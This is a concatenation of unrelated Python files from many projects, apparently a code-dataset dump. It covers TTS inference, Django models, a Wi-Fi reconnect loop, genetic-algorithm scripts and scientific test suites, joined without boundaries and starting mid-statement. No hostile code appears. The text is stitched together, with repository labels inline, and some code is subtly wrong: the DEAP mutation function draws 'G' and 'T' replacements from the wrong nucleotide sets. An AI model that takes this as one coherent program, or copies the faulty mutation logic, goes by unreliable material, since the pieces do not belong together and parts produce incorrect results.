pickle.load(handle) else: readImageThreads = [] print("Generating image size histogram using %d threads..." % (NUM_THREADS)) for thread_idx in range(NUM_THREADS): # assign each thread a subset to process readImageThreads.append(ReadImageThread("ReadImageThread-{}".format(thread_idx), filenames[thread_idx:][::NUM_THREADS])) readImageThreads[thread_idx].start() for thread_idx in range(NUM_THREADS): readImageThreads[thread_idx].join() with open(PKL_FN, 'wb') as handle: pickle.dump(image_hist, handle, protocol=pickle.HIGHEST_PROTOCOL) print("Saved dataset properties to %s!" % PKL_FN) # show_dim_data(image_hist) # display_images_by_aspect_ratio(image_hist, 7) # label histogram labels = [int(os.path.basename(os.path.dirname(fn))) for fn in filenames] print("Range: %d - %d" % (min(labels), max(labels))) plt.hist(np.array(labels), bins=len(set(labels))) plt.show() if __name__ == "__main__": main() electrum_cadex/scripts/get_history.py #!/usr/bin/env python3 import sys from .. import Network from electrum_cadex.util import json_encode, print_msg from electrum_cadex import bitcoin try: addr = sys.argv[1] except Exception: print("usage: get_history ") sys.exit(1) n = Network() n.start() _hash = bitcoin.address_to_scripthash(addr) h = n.get_history_for_scripthash(_hash) print_msg(json_encode(h)) lista = [] par = 0 for i in range(5): lista.append(int(input())) for i in lista: if i % 2 == 0: par += 1 print("{} valores pares".format(par)) 1-10 from django.urls import path from project.product import views as v app_name = 'product' urlpatterns=[ path('',v.produto_list, name="produto_list"), path('/',v.produto_detail, name="produto_detail"), path('add/', v.ProdutoCreate.as_view(), name="produto_add"), path('/edit/', v.ProdutoUpdate.as_view(), name="produto_edit"), ] # coding=utf-8 import os import time import login def PingTest(): err = os.system('ping -4 -n 1 www.baidu.com') if err: return False else: return True flag = False while True: if PingTest(): flag = False else: if flag: print('断开连接……') os.system('netsh wlan disconnect') time.sleep(5) print('尝试重新连接……') err = os.system('netsh wlan connect name=seu-wlan') if not err: time.sleep(30) print('正在登录……') login.login() else: print('发现网络异常') flag = True time.sleep(60)# -*- coding: utf-8 -*- # author: kuangdd # date: 2020/9/22 """ demo_cli """ from pathlib import Path import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(Path(__file__).stem) import json import numpy as np import yaml from tqdm import tqdm import torch from torch.utils.data import DataLoader from .model import Tacotron2, load_model from .hparams import create_hparams, Dict2Obj # from .data_utils import transform_mel, transform_text, transform_f0, transform_embed, transform_speaker from .layers import TacotronSTFT from .data_utils import TextMelLoader, TextMelCollate # from .plotting_utils import plot_mel_alignment_gate_audio _model = None _device = 'cuda' if torch.cuda.is_available() else 'cpu' def load_mellotron_model(model_path='', hparams_path='', device=None): """ 导入训练得到的checkpoint模型。 """ global _model if device is None: device = "cuda" if torch.cuda.is_available() else "cpu" if str(hparams_path).endswith('.yml'): with open(hparams_path, "r") as f: hparams = yaml.load(f, Loader=yaml.FullLoader) else: hparams = json.load(open(hparams_path, encoding='utf8')) hparams = Dict2Obj(hparams) _model = load_model(hparams).to(device).eval() _model.load_state_dict(torch.load(model_path, map_location=device)['state_dict']) def load_mellotron_torch(model_path='', device=None): """ 用torch.load直接导入模型文件，不需要导入模型代码。 """ global _model if device is None: device = 'cuda' if torch.cuda.is_available() else 'cpu' _model = torch.load(model_path, map_location=device) return _model def is_loaded(): """ 判断模型是否已经loaded。 """ global _model return _model is not None def generate_mel(text, style, speaker, f0, **kwargs): """ 用语音合成模型把文本转为mel频谱。 """ global _model if not is_loaded() and 'model_path' in kwargs: load_mellotron_torch(model_path=kwargs['model_path']) with torch.no_grad(): mels, mels_postnet, gates, alignments = _model.inference((text, style, speaker, f0)) gates = torch.sigmoid(gates) alignments = alignments.permute(0, 2, 1) return mels, mels_postnet, gates, alignments def generate_mel_batch(model, inpath, batch_size, hparams, **kwargs): """Handles all the validation scoring and printing""" # global _model # if not is_loaded(): # load_mellotron_torch(**kwargs) model.eval() with torch.no_grad(): valset = TextMelLoader(inpath, hparams, speaker_ids={}, mode=hparams.train_mode) collate_fn = TextMelCollate(n_frames_per_step=hparams.n_frames_per_step, mode='val') # fixme num_workers>=1则EOFError: Ran out of input，mp.spawn的报错。 val_loader = DataLoader(valset, sampler=None, num_workers=0, shuffle=False, batch_size=batch_size, pin_memory=False, drop_last=False, collate_fn=collate_fn) mels, mels_postnet, gates, alignments = [], [], [], [] for i, batch in enumerate(tqdm(val_loader, 'mellotron', ncols=100)): x, y = model.parse_batch(batch) # y: 2部分 y_pred = model.inference((x[0], x[2], x[5], x[6])) mel_outputs, mel_outputs_postnet, gate_outputs, alignment_outputs = y_pred # wav_outputs = valset.stft.griffin_lim(mel_outputs_postnet, n_iters=5, denoiser_strength=0) out_mels = mel_outputs.data.cpu().numpy() out_mels_postnet = mel_outputs_postnet.data.cpu().numpy() out_aligns = alignment_outputs.data.cpu().numpy() out_gates = torch.sigmoid(gate_outputs.data).cpu().numpy() # out_wavs = wav_outputs.data.cpu().numpy() for out_mel, out_mel_postnet, out_align, out_gate in zip(out_mels, out_mels_postnet, out_aligns, out_gates): end_idx = np.argmax(out_gate > 0.5) or out_gate.shape[0] out_mel = out_mel[:, :end_idx] out_mel_postnet = out_mel_postnet[:, :end_idx] out_align = out_align.T[:, :end_idx] out_gate = out_gate[:end_idx] # out_wav = out_wav[:end_idx * hparams.hop_length] mels.append(out_mel) mels_postnet.append(out_mel_postnet) gates.append(out_gate) alignments.append(out_align) return mels, mels_postnet, gates, alignments class MellotronSynthesizer(): def __init__(self, model_path, speakers_path, hparams_path, texts_path, device=_device): self.device = device args_hparams = open(hparams_path, encoding='utf8').read() self.hparams = create_hparams(args_hparams) self.model = load_model(self.hparams).to(self.device).eval() self.model.load_state_dict(torch.load(model_path, map_location=self.device)['state_dict']) self.speakers = json.load(open(speakers_path, encoding='utf8')) self.texts = [w.strip() for w in open(texts_path, encoding='utf8')] self.texts_path = texts_path self.stft = TacotronSTFT( self.hparams.filter_length, self.hparams.hop_length, self.hparams.win_length, self.hparams.n_mel_channels, self.hparams.sampling_rate, self.hparams.mel_fmin, self.hparams.mel_fmax) self.dataloader = TextMelLoader(audiopaths_and_text=texts_path, hparams=self.hparams, speaker_ids=self.speakers) self.datacollate = TextMelCollate(1) def synthesize_batch(self): return generate_mel_batch(self.model, self.texts_path, 4, self.hparams) def synthesize(self, text, speaker, audio, with_show=False): text_data, mel_data, speaker_data, f0_data = self.dataloader.get_data_train_v2([audio, text, speaker]) text_encoded = text_data[None, :].long().to(self.device) style_input = 0 speaker_id = speaker_data.to(self.device) pitch_contour = f0_data with torch.no_grad(): mel_outputs, mel_outputs_postnet, gate_outputs, alignments = self.model.inference( (text_encoded, style_input, speaker_id, pitch_contour)) out_mel = mel_outputs_postnet.data.cpu().numpy()[0] out_align = alignments.data.cpu().numpy()[0] out_gate = torch.sigmoid(gate_outputs.data).cpu().numpy()[0] end_idx = np.argmax(out_gate > 0.2) or out_gate.shape[0] out_mel = out_mel[:, :end_idx] out_align = out_align.T[:, :end_idx] out_gate = out_gate[:end_idx] return (out_mel, out_align, out_gate) if with_show else out_mel def generate_alignment(self, text, speaker, audio, with_show=False): text_data, mel_data, speaker_data, f0_data = self.dataloader.get_data_train_v2([audio, text, speaker]) x, y = self.model.parse_batch(self.datacollate([(text_data, mel_data, speaker_data, f0_data)])) with torch.no_grad(): mel_outputs, mel_outputs_postnet, gate_outputs, alignments = self.model.forward(x) alignments = alignments.permute(1, 0, 2) out_mel = mel_outputs_postnet.data.cpu().numpy()[0] out_align = alignments.data.cpu().numpy()[0] out_gate = torch.sigmoid(gate_outputs.data).cpu().numpy()[0] end_idx = np.argmax(out_gate > 0.2) or out_gate.shape[0] out_mel = out_mel[:, :end_idx] out_align = out_align.T[:, :end_idx] out_gate = out_gate[:end_idx] return (out_mel, out_align, out_gate) if with_show else out_mel def save_model(model: MellotronSynthesizer, outpath=''): torch.save(model.model, outpath) 0 #!usr/bin/env python import Tkinter from Tkinter import * from urllib import urlretrieve master= Tkinter.Tk() master.wm_title("Share Value Finder") master.geometry('500x200') symbol=StringVar(master) #data=StringVar(master) frame=Frame() label = Tkinter.Label(master, text='Enter NASDAQ Symbol:') label.pack() label=Tkinter.Label(master,text='') label.pack() #mack=StringVar(master) e=Entry(master,textvariable=symbol) e.pack() e.focus_set() label2=Tkinter.Label(text='') label2.pack() label1=Tkinter.Label(master,text='Enter the Symbol And Press Submit Button') label1.pack() frame.pack() """urlretrieve('http://download.finance.yahoo.com/d/quotes.csv?s= %s&f=l1'% i,'quotes.csv') f=open('quotes.csv','r') data=f.read() label = Tkinter.Label(master, text=data ) label.pack() """ def callback(): symbol=e.get() label1.config(text='Please Wait.....') label1.update() try: urlretrieve('http://download.finance.yahoo.com/d/quotes.csv?s=%s &f=l1'%(symbol) ,'quotes.csv') f=open('quotes.csv','r') data=float(f.read()) result="The Current Share Value for the given NASDAQ symbol is%f" %(data) f.close() except: result="No Internet Connection" label1.config(text=result) label1.update() #f.close() frame2=Frame() b= Button(master,text="Submit", width=10,command=callback) b.pack(padx=100,side=LEFT) b2=Button(master,text="Exit",width=10,command=master.quit) b2.pack(side=LEFT) frame2.pack() Tkinter.mainloop()10-100 import unittest import darwin import darwin_test_utils class EvolutionTestCase(unittest.TestCase): def test_basic_evolution(self): path = darwin_test_utils.reserve_universe('python_bindings.darwin') universe = darwin.create_universe(path) population = darwin.Population('neat') population.size = 10 domain = darwin.Domain('unicycle') experiment = universe.new_experiment(domain, population) # basic evolution cycle experiment.initialize_population() for generation in range(5): summary = experiment.evaluate_population() experiment.create_next_generation() # evolution trace trace = experiment.trace self.assertEqual(trace.size, 5) self.assertEqual(trace.size, len(trace)) self.assertEqual(trace[4].champion.fitness, summary.champion.fitness) self.assertEqual(trace[4].champion.fitness, trace[-1].champion.fitness) self.assertEqual(trace[0].champion.fitness, trace[-5].champion.fitness) with self.assertRaises(IndexError): tmp = trace[5] with self.assertRaises(IndexError): tmp = trace[-6] universe.close() def test_evaluate_population(self): path = darwin_test_utils.reserve_universe('python_bindings.darwin') universe = darwin.create_universe(path) population = darwin.Population('neat') domain = darwin.Domain('tic_tac_toe') population.size = 10 experiment = universe.new_experiment(domain, population) experiment.initialize_population() summary = experiment.evaluate_population() self.assertEqual(population.size, 10) self.assertEqual(population.size, len(population)) # generation summary self.assertEqual(summary.generation, 0) self.assertEqual(summary.best_fitness, summary.champion.fitness) # population fitness values self.assertGreaterEqual(population[0].fitness, population[-1].fitness) self.assertEqual(population[0].fitness, summary.champion.fitness) prev_fitness = summary.champion.fitness for genotype in population: self.assertLessEqual(genotype.fitness, prev_fitness) prev_fitness = genotype.fitness universe.close() def test_reinitialize_population(self): path = darwin_test_utils.reserve_universe('python_bindings.darwin') universe = darwin.create_universe(path) population = darwin.Population('neat') population.size = 10 domain = darwin.Domain('unicycle') experiment = universe.new_experiment(domain, population) # multiple runs of the same experiment variation for evolution_run in range(3): # reinitialize the population (which would result in a new evolution trace) experiment.initialize_population() for generation in range(2): experiment.evaluate_population() experiment.create_next_generation() universe.close() if __name__ == '__main__': unittest.main() Carldeboer/GPRA_GO0 import random from deap import creator, base, tools, algorithms import numpy as np args = {'sequence_length' : 5 , 'nucleotide_frequency' :[0.25,0.25,0.25,0.25] } randomizer=np.random def random_sequence_generator(randomizer,args) : return randomizer.choice(list('ACGT') , p=args['nucleotide_frequency'] ) def fitness(individual): return (individual.count('A')), def mutation(individual, indpb): for i in xrange(len(individual)): if random.random() < indpb: if individual[i]=='A' : individual[i] = (randomizer.choice(list('CGT') , p=[args['nucleotide_frequency'][1]/(1-args['nucleotide_frequency'][0]) ,args['nucleotide_frequency'][2]/(1-args['nucleotide_frequency'][0]) ,args['nucleotide_frequency'][3]/(1-args['nucleotide_frequency'][0]) ] ) ) elif individual[i]=='C' : individual[i] = (randomizer.choice(list('AGT') , p=[args['nucleotide_frequency'][0]/(1-args['nucleotide_frequency'][1]) ,args['nucleotide_frequency'][2]/(1-args['nucleotide_frequency'][1]) ,args['nucleotide_frequency'][3]/(1-args['nucleotide_frequency'][1]) ] ) ) elif individual[i]=='G' : individual[i] = (randomizer.choice(list('CGT') , p=[args['nucleotide_frequency'][2]/(1-args['nucleotide_frequency'][2]) ,args['nucleotide_frequency'][1]/(1-args['nucleotide_frequency'][2]) ,args['nucleotide_frequency'][3]/(1-args['nucleotide_frequency'][2]) ] ) ) elif individual[i]=='T' : individual[i] = (randomizer.choice(list('CGT') , p=[args['nucleotide_frequency'][0]/(1-args['nucleotide_frequency'][3]) ,args['nucleotide_frequency'][1]/(1-args['nucleotide_frequency'][3]) ,args['nucleotide_frequency'][2]/(1-args['nucleotide_frequency'][3]) ] ) ) print(individual) print(individual.fitness) return individual, creator.create("FitnessMax", base.Fitness, weights=(1.0,)) creator.create("Individual", list , fitness=creator.FitnessMax) toolbox = base.Toolbox() toolbox.register("base", random_sequence_generator , randomizer , args) toolbox.register("individual", tools.initRepeat, creator.Individual, toolbox.base, n=args['sequence_length']) toolbox.register("population", tools.initRepeat, list, toolbox.individual) toolbox.register("evaluate", fitness) toolbox.register("mate", tools.cxTwoPoint) toolbox.register("mutate", mutation, indpb=0.05) toolbox.register("select", tools.selTournament, tournsize=3) population = toolbox.population(n=300) NGEN=40 for qgen in range(NGEN): offspring = algorithms.varAnd(population, toolbox, cxpb=0.1, mutpb=0.1) fits = toolbox.map(toolbox.evaluate, offspring) for fit, ind in zip(fits, offspring): ind.fitness.values = fit population = toolbox.select(offspring, k=len(population)) top10 = tools.selBest(population, k=10) print top10 0 from distutils.version import LooseVersion import functools import torch def no_grad(): version = torch.__version__ if str(torch.__version__) is torch.__version__ else "0.4.1" if LooseVersion(version) < LooseVersion("0.4.1"): # No grad isn't a decorator def decorator(func): @functools.wraps(func) def wrap_no_grad(*args, **kwargs): with torch.no_grad(): return func(*args, **kwargs) return wrap_no_grad return decorator else: return torch.no_grad() class Metric(object): """Base metric class. Process will be called on each batch, process-final at the end of each epoch. The metric contract allows for metrics to take any args but not kwargs. The initial metric call will be given state, however, subsequent metrics can pass any values desired. .. note:: All metrics must extend this class. Args: name (str): The name of the metric """ def __init__(self, name): self.name = name def __str__(self): return self.name @no_grad() def process(self, *args): """Process the state and update the metric for one iteration. Args: args: Arguments given to the metric. If this is a root level metric, will be given state Returns: None, or the value of the metric for this batch """ pass @no_grad() def process_final(self, *args): """Process the terminal state and output the final value of the metric. Args: args: Arguments given to the metric. If this is a root level metric, will be given state Returns: None or the value of the metric for this epoch """ pass def eval(self, data_key=None): """Put the metric in eval mode during model validation. """ pass def train(self): """Put the metric in train mode during model training. """ pass def reset(self, state): """Reset the metric, called before the start of an epoch. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass class Callback(object): """Base callback class. .. note:: All callbacks should override this class. """ def state_dict(self): """Get a dict containing the callback state. Returns: dict: A dict containing parameters and persistent buffers. """ return {} def __str__(self): return str(self.__class__).replace('', '').replace("'", "") def load_state_dict(self, state_dict): """Resume this callback from the given state. Expects that this callback was constructed in the same way. Args: state_dict (dict): The state dict to reload Returns: :class:`.Callback`: self """ return self def on_start(self, state): """Perform some action with the given state as context at the start of a model fit. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_start_epoch(self, state): """Perform some action with the given state as context at the start of each epoch. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_start_training(self, state): """Perform some action with the given state as context at the start of the training loop. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_sample(self, state): """Perform some action with the given state as context after data has been sampled from the generator. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_forward(self, state): """Perform some action with the given state as context after the forward pass (model output) has been completed. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_criterion(self, state): """Perform some action with the given state as context after the criterion has been evaluated. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_backward(self, state): """Perform some action with the given state as context after backward has been called on the loss. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_step_training(self, state): """Perform some action with the given state as context after step has been called on the optimiser. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_end_training(self, state): """Perform some action with the given state as context after the training loop has completed. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_end_epoch(self, state): """Perform some action with the given state as context at the end of each epoch. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_checkpoint(self, state): """Perform some action with the state after all other callbacks have completed at the end of an epoch and the history has been updated. Should only be used for taking checkpoints or snapshots and will only be called by the run method of Trial. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_end(self, state): """Perform some action with the given state as context at the end of the model fitting. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_start_validation(self, state): """Perform some action with the given state as context at the start of the validation loop. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_sample_validation(self, state): """Perform some action with the given state as context after data has been sampled from the validation generator. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_forward_validation(self, state): """Perform some action with the given state as context after the forward pass (model output) has been completed with the validation data. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_criterion_validation(self, state): """Perform some action with the given state as context after the criterion evaluation has been completed with the validation data. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_end_validation(self, state): """Perform some action with the given state as context at the end of the validation loop. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass def on_step_validation(self, state): """Perform some action with the given state as context at the end of each validation step. Args: state (dict): The current state dict of the :class:`.Trial`. """ pass 0 #!/usr/bin/env python3 import csv, re, sys, os import xml.etree.ElementTree as ET from Bio import Entrez Entrez.email = 'YOUR_EMAIL' insamples = "names.tsv" outsamples="names_taxonomy.csv" if len(sys.argv) > 1: insamples = sys.argv[1] if len(sys.argv) > 2: outsamples = sys.argv[2] seen = {} if os.path.exists(outsamples): with open(outsamples,"rU") as preprocess: incsv = csv.reader(preprocess,delimiter=",") h = next(incsv) for row in incsv: seen[row[1]] = row expected_ranks = ['kingdom','phylum','subphylum','class', 'order','family','genus'] with open(insamples,"rU") as infh, open(outsamples,"w") as outfh: outcsv = csv.writer(outfh,delimiter=",") outcsv.writerow(['PREFIX','NAME','KINGDOM','PHYLUM','SUBPHYLUM','CLASS','ORDER','FAMILY','GENUS','LINEAGE']) namescsv = csv.reader(infh,delimiter="\t") for row in namescsv: prefix= row[0] name = row[1] if name.startswith("#"): continue outrow = [prefix,name] if name in seen: outrow = seen[name] outcsv.writerow(outrow) continue query_fields = name.split("_")[0:2] query = "%s+%s"%(query_fields[0],query_fields[1]) handle = Entrez.esearch(db="taxonomy",retmax=10,term=query) record = Entrez.read(handle) handle.close() for taxon in record["IdList"]: print("taxon was %s for query=%s"%(taxon,query)) handle = Entrez.efetch(db="taxonomy", id=taxon) tree = ET.parse(handle) root = tree.getroot() taxonomy = {} full_lineage = "" for l in root.iter('Lineage'): full_lineage = l.text for lineage in root.iter('LineageEx'): for taxnode in lineage.iter('Taxon'): rank = "" sciname = "" taaxid = "" for taxdat in taxnode: if taxdat.tag == "Rank": rank = taxdat.text elif taxdat.tag == "ScientificName": sciname = taxdat.text elif taxdat.tag == "TaxId": taxid = taxdat.text #print("Taxon node %s is called '%s' (%s) "%(rank,sciname,taxid)) if rank != 'no rank': taxonomy[rank] = [sciname,taxid] for rank in expected_ranks: if rank in taxonomy: outrow.append(taxonomy[rank][0]) else: outrow.append("") outrow.append(full_lineage) outcsv.writerow(outrow) # -*- coding: utf-8 -*- # Generated by Django 1.11.13 on 2018-05-02 04:21 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [] operations = [ migrations.CreateModel( name='ExampleItem', fields=[ ( 'id', models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name='ID', ), ), ('enabled', models.BooleanField()), ('name', models.CharField(max_length=30)), ], options={ 'ordering': ['pk'], 'permissions': (('view_exampleitem', 'Can view example item'),), 'default_permissions': (), }, ), migrations.CreateModel( name='ExampleM2MItem', fields=[ ( 'id', models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name='ID', ), ), ('value', models.IntegerField(default=1)), ( 'items', models.ManyToManyField( related_name='items', to='drfr_test_app.ExampleItem' ), ), ], options={'ordering': ['pk']}, ), migrations.CreateModel( name='ExampleSubItem', fields=[ ( 'id', models.AutoField( auto_created=True, primary_key=True, serialize=False, verbose_name='ID', ), ), ('enabled', models.BooleanField()), ( 'parent', models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, to='drfr_test_app.ExampleItem', ), ), ], options={ 'ordering': ['pk'], 'permissions': (('view_examplesubitem', 'Can view example sub item'),), 'default_permissions': (), }, ), ] 1-10 # -*- coding: utf-8 -*- class Receivers(object): ENDPOINT = '/receivers' def __init__(self, client): self.client = client def post(self, data): """ Crear una nueva cuenta de cobro asociada a un integrador. Necesita datos de la cuenta de usuario asociada, datos de facturación y datos de contacto. """ response = self.client.make_request('POST', self.ENDPOINT, data=data) return ReceiversCreateResponse.from_response(response) carloserocha/erp-microservice from nameko.rpc import RpcProxy from nameko.web.handlers import http from werkzeug import Response import json from service.exceptions import ProductNotFound class GatewayService: name = 'service_gateway' product_rpc = RpcProxy('service_product') @http('GET', '/product/', expected_exceptions=ProductNotFound) def get_product(self, request, productId): try: product = self.product_rpc.get_product(productId) return json.dumps({'product': product}) except ProductNotFound: return Response( status=404, response=json.dumps({'error': 'not found'}), mimetype='application/json' ) @http('POST', '/product') def create_product(self, request): product = self.product_rpc.create_product(request) return json.dumps({'product': product}) @http('GET', '/warehouse/') def get_warehouse(self, request, warehouseId): warehouse = self.product_rpc.get_warehouse(warehouseId) return json.dumps({'warehouse': warehouse}) @http('POST', '/warehouse') def create_warehouse(self, request): warehouse = self.product_rpc.create_warehouse(request) return json.dumps({'warehouse': warehouse}) import sys from PyQt5.QtWidgets import QApplication, QWidget, QInputDialog, QLineEdit, QFileDialog from PyQt5.QtGui import QIcon class FileDialog(QWidget): def __init__(self): super().__init__() self.title = 'Open file' self.left = 20 self.top = 20 self.width = 640 self.height = 480 def get_nii_dir(self): """ Read .nii.gz file directory """ self.setWindowTitle(self.title) self.setGeometry(self.left, self.top, self.width, self.height) options = QFileDialog.Options() options |= QFileDialog.DontUseNativeDialog file_name, _ = QFileDialog.getOpenFileName( self, "OpenFile", "", "All Files (*);;NIfTI Files(*.nii.gz)", options=options) print(file_name) return file_name import json import logging from typing import Any, Optional import requests from django.core.management.base import BaseCommand, CommandError logger = logging.getLogger(__name__) API_URL = "https://idle.kleho.ru/cache/en/champions.json?t=1638996470" class Command(BaseCommand): def add_arguments(self, parser): pass def handle(self, *args: Any, **options: Any) -> Optional[str]: logging.basicConfig(level=logging.DEBUG) hero_data = requests.get(API_URL).json()['data'] output = {} for hero in hero_data: # print(hero) output[int(hero['id'])] = hero['name'] print(json.dumps(output, indent=2)) from django.db import models from django.utils.translation import gettext_lazy as _ from shop.models.delivery import BaseDeliveryItem class DeliveryItem(BaseDeliveryItem): """Default materialized model for ShippedItem""" quantity = models.IntegerField( _("Delivered quantity"), default=0, ) 1-10 import os import numpy as np from pycorr import utils def test_sky_cartesian(): rng = np.random.RandomState(seed=42) positions = [rng.uniform(0., 2., 100) for i in range(3)] rdd = utils.cartesian_to_sky(positions) assert np.allclose(utils.sky_to_cartesian(rdd), positions) def test_packbit(): n = 63 a = np.array([[0, 1] * (n // 2), [1, 0] * (n // 2)], dtype='?') b = np.packbits(a, axis=-1) assert b.shape == (2, (n - 1) // 8 + 1) b = np.packbits([0, 1, 0, 0, 0, 1, 1, 1] + [1] + [0] * 3, axis=0, bitorder='little') c = np.packbits([0, 1, 0, 0, 0, 1, 1, 1] + [1] + [0] * 4, axis=0, bitorder='little') assert np.all(b == c) def test_popcount(): a = np.array(256, dtype=np.uint32) assert np.all(utils.popcount(a) == 1) for dtype in [np.uint8, np.int8]: a = np.array(255, dtype=dtype) assert np.all(utils.popcount(a) == 8) num = 8564071463 a = np.array(num, dtype=np.uint64) assert np.allclose(utils.popcount(a), bin(num).count('1')) a = utils.pack_bitarrays(*[np.array([1], dtype='?') for i in range(33)], dtype=np.uint64) num = a[0][0] assert np.allclose(utils.popcount(*a), bin(num).count('1')) def test_reformatbit(): rng = np.random.RandomState(42) size = (2, 1) a = [np.array(rng.randint(0, int(2**63 - 1), size), dtype=np.uint64)] b = utils.reformat_bitarrays(*a, dtype=np.uint16) assert all(x_.shape == size for x_ in b) assert sum(x_.dtype.itemsize for x_ in b) == sum(x_.dtype.itemsize for x_ in a) assert np.all(sum(utils.popcount(x_) for x_ in b) == sum(utils.popcount(x_) for x_ in a)) assert np.all(sum(utils.popcount(x_[:-1] & x_[1:]) for x_ in b) == sum(utils.popcount(x_[:-1] & x_[1:]) for x_ in a)) a = [np.array([12890], dtype=np.uint16), np.array([10], dtype=np.uint16)] b = utils.reformat_bitarrays(*a, dtype=np.uint8) c = utils.reformat_bitarrays(*a[:1], dtype=np.uint8) for b_, c_ in zip(b, c): assert np.all(b_ == c_) def pack_bitweights(array): """ Creates an array of bitwise weights stored as 64-bit signed integers Input: a 2D boolean array of shape (Ngal, Nreal), where Ngal is the total number of target galaxies, and Nreal is the number of fibre assignment realizations. Output: returns a 2D array of 64-bit signed integers. """ Nbits = 64 dtype = np.int64 Ngal, Nreal = array.shape # total number of realizations and number of target galaxies Nout = (Nreal + Nbits - 1) // Nbits # number of output columns # intermediate arrays bitw8 = np.zeros((Ngal, 8), dtype="i") # array of individual bits of 8 realizations bitweights = np.zeros(Ngal, dtype=dtype) # array of 64-bit integers # array to store final output output_array = np.zeros((Ngal, Nout), dtype=dtype) idx_out = 0 # initial column in output_array # loop through realizations to build bitwise weights for i in range(Nreal): bitw8[array[:, i], i % 8] = 1 arr = np.array(np.packbits(bitw8[:, ::-1]), dtype=dtype) bitweights = np.bitwise_or(bitweights, np.left_shift(arr, 8 * ((i % Nbits) // 8))) if (i + 1) % Nbits == 0 or i + 1 == Nreal: output_array[:, idx_out] = bitweights bitweights[:] = 0 idx_out += 1 if (i + 1) % 8 == 0: bitw8[:] = 0 return output_array def unpack_bitweights(we): Nwe = 1 Nbits = 64 Ngal = np.shape(we)[0] Nreal = Nbits * Nwe print('Nbits, Nwe = ', Nbits, Nwe) print('Nreal = ', Nreal) print('Ngal = ', Ngal) true8 = [np.uint8(255) for n in range(0, Ngal)] array_bool = np.zeros((Ngal, Nreal), dtype=bool) for j in range(Nwe): lg = np.zeros((Ngal, Nbits), dtype=bool) for i in range(Nbits // 8): chunk8 = np.uint8(np.bitwise_and(np.right_shift(we, 8 * i), true8)) lg[:, Nbits - 8 * (i + 1): Nbits - i * 8] = np.reshape(np.unpackbits(chunk8), (Ngal, 8)) array_bool[:, j * Nbits: (j + 1) * Nbits] = lg[:, ::-1] return array_bool def test_pack_unpack(): rng = np.random.RandomState(42) size = (8, 2) bits = [rng.randint(0, 2, size) for i in range(12)] for dtype in [np.uint32, np.uint64, 'i4', 'i8']: test = utils.unpack_bitarrays(*utils.pack_bitarrays(*bits, dtype=np.uint64)) for test_, ref_ in zip(test, bits): assert test_.shape == ref_.shape assert np.all(test_ == ref_) def test_normalization(): # print(utils.pascal_triangle(4)) size = 42 tri = utils.pascal_triangle(size) from scipy import special for b in range(size + 1): for a in range(0, b): assert tri[b][a] == special.comb(b, a, exact=True) # tmp = utils.joint_occurences(nrealizations=64) # print(tmp[30][30]) nrealizations = 2 binomial_coeffs = utils.pascal_triangle(nrealizations) noffset = 0 def prob(c12, c1, c2): return binomial_coeffs[c1 - noffset][c12 - noffset] * binomial_coeffs[nrealizations - c1][c2 - c12] / binomial_coeffs[nrealizations - noffset][c2 - noffset] assert prob(1, 1, 1) == 0.5 base_dir = os.path.join(os.path.dirname(__file__), 'ref_pc_analytic') nrealizations = 124 fn = os.path.join(base_dir, 'pc_analytic_nbits{:d}_con.dat'.format(nrealizations)) tmp = np.loadtxt(fn, usecols=3) ii = 0 ref = np.zeros((nrealizations + 1, nrealizations + 1), dtype='f8') for c1 in range(nrealizations + 1): for c2 in range(c1, nrealizations + 1): ref[c2, c1] = ref[c1, c2] = tmp[ii] ii += 1 tmp = utils.joint_occurences(nrealizations=nrealizations, noffset=1, default_value=nrealizations) for c1 in range(1, nrealizations): for c2 in range(1, c1 + 1): if c1 > 0 and c2 > 0: assert np.allclose(tmp[c1 - 1][c2 - 1], ref[c1][c2]) fn = os.path.join(base_dir, 'pc_analytic_nbits{:d}_eff.dat'.format(nrealizations)) tmp = np.loadtxt(fn, usecols=3) ii = 0 ref = np.zeros((nrealizations + 1, nrealizations + 1), dtype='f8') for c1 in range(nrealizations + 1): for c2 in range(c1, nrealizations + 1): ref[c2, c1] = ref[c1, c2] = tmp[ii] ii += 1 tmp = utils.joint_occurences(nrealizations=nrealizations + 1, noffset=1, default_value=0) for c1 in range(1, nrealizations): for c2 in range(1, c1 + 1): if c1 > 0 and c2 > 0: assert np.allclose(tmp[c1][c2], ref[c1][c2]) def test_rebin(): array = np.ones((4, 10), dtype='i4') shape = (2, 2) rarray = utils.rebin(array, shape, statistic=np.sum) assert rarray.shape == shape assert np.all(rarray == 10) if __name__ == '__main__': test_sky_cartesian() test_normalization() test_packbit() test_popcount() test_reformatbit() test_pack_unpack() test_normalization() test_rebin() test_normalization() from store_item_models.class_projects.stock_managements.stock_outlet_condition import StockOutletCondition from store_item_models.store_item_stocks.models import StoreItemStock class ItemStockOutlet: stock_outlet = None def __init__(self): self.stock_outlet = StockOutletCondition(model=StoreItemStock) def outlet_stock(self, current_instance): self.stock_outlet.set_current_condition(current_instance.is_move_from_stock) self.stock_outlet.set_current_pk(current_instance.item_stock.id) self.stock_outlet.outlet_stock(current_instance.quantity) def update_stock(self, current_instance, last_instance): self.stock_outlet.set_current_condition(current_instance.is_move_from_stock) self.stock_outlet.set_last_condition(last_instance.is_move_from_stock) self.stock_outlet.set_current_pk(current_instance.item_stock.id) 